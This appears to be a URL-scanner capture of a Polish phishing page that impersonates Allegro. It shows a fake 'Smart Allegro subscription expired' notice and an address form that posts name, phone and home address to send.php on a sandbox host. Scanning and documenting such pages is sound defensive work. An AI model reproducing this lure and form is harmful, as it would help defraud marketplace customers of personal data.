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Submitted URL: https://allegro.cyclic.app/
Effective URL: https://smart-allegro-sub-she-yass-7-dev.apps.sandbox-m4.g2pi.p1.openshiftapps.com/
Submission: On November 02 via manual from PL — Scanned from PL

Form analysis 1 forms found in the DOM

POST send.php

<form method="post" action="send.php">
  <div>
    <div class="mpof_ki myre_zn mryx_16">
      <div class="fpjdm mgn2_14 mp0t_0a mqu1_21 mgmw_wo mli8_k4 myre_zn m7er_k4">
        <label for="addressBook--emgPDlkTmOAAiMmXq-2Ew==-firstName" class="f3zny mjsg_lu">Imię</label>
        <input id="addressBook--emgPDlkTmOAAiMmXq-2Ew==-firstName" data-test-id="addressBook-firstName" type="text" placeholder="np. Jan" autocorrect="off" autocomplete="off" name="FName" label="Imię" disableautocorrect="" disableautocomplete=""
          disablespellcheck="" class="oyynn ftsdx" required="">
      </div>
    </div>
    <div class="mpof_ki myre_zn mryx_16">
      <div class="fpjdm mgn2_14 mp0t_0a mqu1_21 mgmw_wo mli8_k4 myre_zn m7er_k4">
        <label for="addressBook--emgPDlkTmOAAiMmXq-2Ew==-lastName" class="f3zny mjsg_lu">Nazwisko</label>
        <input id="addressBook--emgPDlkTmOAAiMmXq-2Ew==-lastName" data-test-id="addressBook-lastName" type="text" placeholder="np. Kowalski-Nowak" autocorrect="off" autocomplete="off" name="LName" label="Nazwisko" disableautocorrect=""
          disableautocomplete="" disablespellcheck="" class="oyynn ftsdx" required="">
      </div>
    </div>
    <div class="mpof_ki myre_zn mryx_16">
      <div class="fpjdm mgn2_14 mp0t_0a mqu1_21 mgmw_wo mli8_k4 myre_zn m7er_k4">
        <label for="addressBook--emgPDlkTmOAAiMmXq-2Ew==-company" class="f3zny mjsg_lu">Firma</label>
        <input id="addressBook--emgPDlkTmOAAiMmXq-2Ew==-company" data-test-id="addressBook-company" type="text" placeholder="np. Firma sp. z o.o." autocorrect="off" autocomplete="off" name="company" label="Firma" disableautocorrect=""
          disableautocomplete="" disablespellcheck="" class="oyynn ftsdx">
        <div data-testid="hint" class="mp4t_4 mgmw_3z mp0t_0a mgn2_12 mqu1_16 mli8_k4">Opcjonalnie</div>
      </div>
    </div>
    <div class="mpof_ki myre_zn mryx_16">
      <div class="g183x">
        <div class="gwdme g13bw g4fet mryx_16 mryx_0_s">
          <div class="mp7g_oh sbqoi m7er_k4"><select id="addressBook-phoneNumberWithPrefix.prefix" name="phoneNumberWithPrefix.prefix"
              class="mse2_40 m7er_k4 mqen_m6 m911_5r mefy_5r mnyp_5r mdwl_5r msbw_2 mldj_2 mtag_2 mm2b_2 mgmw_wo msts_pt mgn2_14 mp0t_0a mqu1_21 mli8_k4 m0qj_5r mjir_5r mg9e_0 mj7a_0 sy3yo">
              <option selected="selected" value="48" class="mgmw_wo">PL (+48)</option>
            </select>
            <img src="Filer_for_address/arrowhead-9148b8f39c.svg" alt="" aria-hidden="true" class="mp7g_f6 mq1m_0 mnjl_0 mlmm_5r m0ux_fp m31c_dl i14v0 _83dc5_1viEy">
            <label for="addressBook-phoneNumberWithPrefix.prefix" class="mp7g_f6 mgmw_3z msts_pt mgn2_13 mp0t_0a mqu1_16 mli8_k4 msa3_z4 meqh_en mg9e_0 mj7a_0 s32cj mjsg_lu">Kierunkowy</label>
          </div>
        </div>
        <div class="gwdme g13bw g1bcj">
          <div class="fpjdm mgn2_14 mp0t_0a mqu1_21 mgmw_wo mli8_k4 myre_zn m7er_k4">
            <label for="addressBook--emgPDlkTmOAAiMmXq-2Ew==-phoneNumberWithPrefix.number" class="f3zny mjsg_lu">Telefon komórkowy</label><input id="addressBook--emgPDlkTmOAAiMmXq-2Ew==-phoneNumberWithPrefix.number"
              data-test-id="addressBook-phoneNumberWithPrefix.number" type="tel" placeholder="np. 000000000" autocorrect="on" autocomplete="on" spellcheck="" name="phone" label="Telefon komórkowy" class="oyynn ftsdx" required="">
          </div>
        </div>
      </div>
      <div data-testid="hint" class="mp4t_4 mgmw_3z mp0t_0a mgn2_12 mqu1_16 mli8_k4">Ułatwi kontakt ze&nbsp;sprzedającym lub kurierem.</div>
    </div>
    <div class="mpof_ki myre_zn mryx_16">
      <div class="mp7g_oh sbqoi m7er_k4">
        <select id="addressBook-countryCode" name="countryCode" class="mse2_40 m7er_k4 mqen_m6 m911_5r mefy_5r mnyp_5r mdwl_5r msbw_2 mldj_2 mtag_2 mm2b_2 mgmw_wo msts_pt mgn2_14 mp0t_0a mqu1_21 mli8_k4 m0qj_5r mjir_5r mg9e_0 mj7a_0 sy3yo">
          <option selected="selected" value="PL" class="mgmw_wo">Polska</option>
        </select><img src="Filer_for_address/arrowhead-9148b8f39c.svg" alt="" aria-hidden="true" class="mp7g_f6 mq1m_0 mnjl_0 mlmm_5r m0ux_fp m31c_dl i14v0 _83dc5_1viEy"><label for="addressBook-countryCode"
          class="mp7g_f6 mgmw_3z msts_pt mgn2_13 mp0t_0a mqu1_16 mli8_k4 msa3_z4 meqh_en mg9e_0 mj7a_0 s32cj mjsg_lu">Kraj</label>
      </div>
    </div>
    <div class="mpof_ki myre_zn mryx_16">
      <div class="fpjdm mgn2_14 mp0t_0a mqu1_21 mgmw_wo mli8_k4 myre_zn m7er_k4">
        <label for="addressBook--emgPDlkTmOAAiMmXq-2Ew==-addressLine" class="f3zny mjsg_lu">Ulica i numer</label>
        <input id="addressBook--emgPDlkTmOAAiMmXq-2Ew==-addressLine" data-test-id="addressBook-addressLine" type="text" placeholder="np. Przemysłowa 10/10" autocorrect="on" autocomplete="on" spellcheck="" name="address" label="Ulica i numer"
          class="oyynn ftsdx" required="">
      </div>
    </div>
    <div class="mpof_ki myre_zn mryx_16">
      <div class="g183x">
        <div class="gwdme g13bw g4fet mryx_16 mryx_0_s _83dc5_yE0h4">
          <div class="fpjdm mgn2_14 mp0t_0a mqu1_21 mgmw_wo mli8_k4 myre_zn m7er_k4">
            <label for="addressBook--emgPDlkTmOAAiMmXq-2Ew==-zipCode" class="f3zny mjsg_lu">Kod pocztowy</label>
            <input id="addressBook--emgPDlkTmOAAiMmXq-2Ew==-zipCode" data-test-id="addressBook-zipCode" type="text" placeholder="np. 00-000" autocorrect="on" autocomplete="on" spellcheck="" name="zip" label="Kod pocztowy" inputmode="numeric"
              class="oyynn ftsdx" required="">
          </div>
        </div>
        <div class="gwdme g13bw g1bcj _83dc5_5Msge">
          <div class="fpjdm mgn2_14 mp0t_0a mqu1_21 mgmw_wo mli8_k4 myre_zn m7er_k4"><label for="addressBook--emgPDlkTmOAAiMmXq-2Ew==-city" class="f3zny mjsg_lu">Miejscowość</label>
            <input id="addressBook--emgPDlkTmOAAiMmXq-2Ew==-city" data-test-id="addressBook-city" type="text" placeholder="np. Warszawa" autocorrect="on" autocomplete="on" spellcheck="" name="city" label="Miejscowość" class="oyynn ftsdx" required="">
          </div>
        </div>
      </div>
    </div>
  </div>
  <div>
    <div>
      <button type="submit" data-analytics-interaction="" data-analytics-interaction-label="addressSaved" class="m7er_k4 bz58c bl8ld m7er_56_s munh_0">potwierdź</button>
    </div>
  </div>
</form>

Text Content

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Twój koszyk
Dostawa i płatność
Gotowe
Krok 2/3



TWOJE DANE

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Twoja subskrypcja Smart Allegro wygasła, musisz zaktualizować swoje dane i
potwierdzić odnowienie subskrypcji

Imię
Nazwisko
Firma
Opcjonalnie
PL (+48) Kierunkowy
Telefon komórkowy
Ułatwi kontakt ze sprzedającym lub kurierem.
Polska Kraj
Ulica i numer
Kod pocztowy
Miejscowość
potwierdź